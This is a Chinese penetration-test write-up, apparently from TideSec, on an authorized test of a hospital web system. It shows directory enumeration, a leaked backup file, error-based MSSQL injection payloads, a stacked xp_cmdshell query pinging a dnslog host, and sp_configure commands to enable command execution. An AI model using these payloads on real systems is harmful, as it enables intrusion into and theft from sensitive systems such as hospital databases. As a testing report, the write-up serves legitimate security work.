接到一个项目工单,需要对某医院系统进行一次授权验证测试项目,客户目前提供了远程桌面连接地址和被测系统URL,密码还在申请中。
出于测试习惯,打开页面后先开始一个初始的信息收集,首先根据框架和扫描端口得到几个简单信息:
1.Net开发的系统
2.IIS中间件框架
3.Windows Server服务器
4.开放了数据库端口1433,SQLServer数据库
5.存在用户名枚举问题
6.没有验证码机制
开始对收集到的信息进行相关漏洞验证,首先看看有没有使用ueditor富文本编辑器,这块我是用的Tide知识星球里小伙伴发的攻防演练期间收集的列表进行目录爆破
用DirBuster加载字典爆破未遂
随后,对web应用和SqlServer数据库进行口令猜解均未遂。
开始对中间件下手,对目标进行Options请求,发现目标既没开PUT请求方式又非可利用的中间件版本
进行目录穿越测试的时候发现存在IIS目录浏览问题,看到hisxxxx.bak就兴奋了
把压缩包文件下载到远程桌面后进行翻阅,按照常规找到web.config
存在数据库的加密信息,之前见过Web.config SqlServer连接串解密的方法,但是受限于远程主机环境,无法进行解密操作。
继续翻阅压缩包文件,发现了一个url地址信息
打开后发现是一个医院xx系统,系统自带一个导航栏目,看起来像极了存在未授权访问漏洞的样子
功能还是挺多的,经过一番乱点,找到了几个查询页面,想用sqlmap跑一下,遇到系统环境问题,用了一段时间查询各种方法,没能解决。
遂尝试手动注入,由于攻防演练的快节奏,正常情况能用工具跑就不会用手工的坏毛病导致手动sql注入忘的差不多了,借此机会回忆一下
经过一番尝试,终于看到了曙光,报错注入
测试发现直接构造查询语句,直接返回400,通过fuzz,发现简单url编码一下就可以执行注入语句
查看一下数据库版本,@@version是mssql的全局变量,如果写成这样and @@version>0 那个后面的mssql就会强行把@@version强行转换成int类型与0比大小,但是失败,所以就会将数据库版本信息暴露出来
1' or @@version>0--
查一下当前连接数据库的用户,如果看到dbo转换类型识别,当前数据库的用户大概率是dba权限。
1' or User_Name()>0--
查询当前数据库名称
先查一下数据库名称,没什么问题,但这样从库-表-字段-数据手工确实有点费劲,花费了大量时间查询,发现表有点多,这里就不再贴图了,下面直接尝试写shell试试
1' or db_name()>0-
现在想要写shell了,sqlserver支持堆叠注入,现在还需要一个网站路径,aspx通过报错还是比较好找路径的,我们构造一个错误语句,得到一个web路径
执行ping命令,dnslog平台查看一下有无回显
' ;exec master..xp_cmdshell "ping ph3owt.dnslog.cn -n 2" --
先不提出不出网这回事,xp_cmdshell是关闭的
然而由于某不知名抗力,开启允许编辑高级选项和开启cmdshell竟然失败了
开启xp_cmdshell
EXEC sp_configure 'xp_cmdshell', 1;
RECONFIGURE;
开启允许编辑高级选项
EXEC sp_configure 'show advanced options', 1;
sql注入获取shell失败了,只能继续查看导航中页面,翻阅各种加载的js文件,一个个页面的源码查找。
在无意间发现在一个非常不起眼的页面的页面返回包中竟然有那种东西()
虽然口口声声说着我没有权限
下方却有一串注释了的h*s明文数据库用户名密码连接信息,我虽然不懂为什么 但我大受震撼
后面直接上攻防演练数据库操作神器,一键getshell。
由于目前各行业信息系统随着攻防演练的推进,安全性在不断地提升,根据近期攻防演练情况来看,常规的弱口令及文件上传等手段获取权限相比以往困难了许多,所以更需要我们去注意一些细节,比如一些js、css、api接口、静态页面源码等平时不太注意的位置,可能会有惊喜出现。
认真去对待每一次日常的测试工作,对于测试的细粒度进行严格要求,持之以恒,定会有更大的收获。
E
N
D
本文作者:TideSec
本文为安全脉搏专栏作者发布,转载请注明:https://www.secpulse.com/archives/199332.html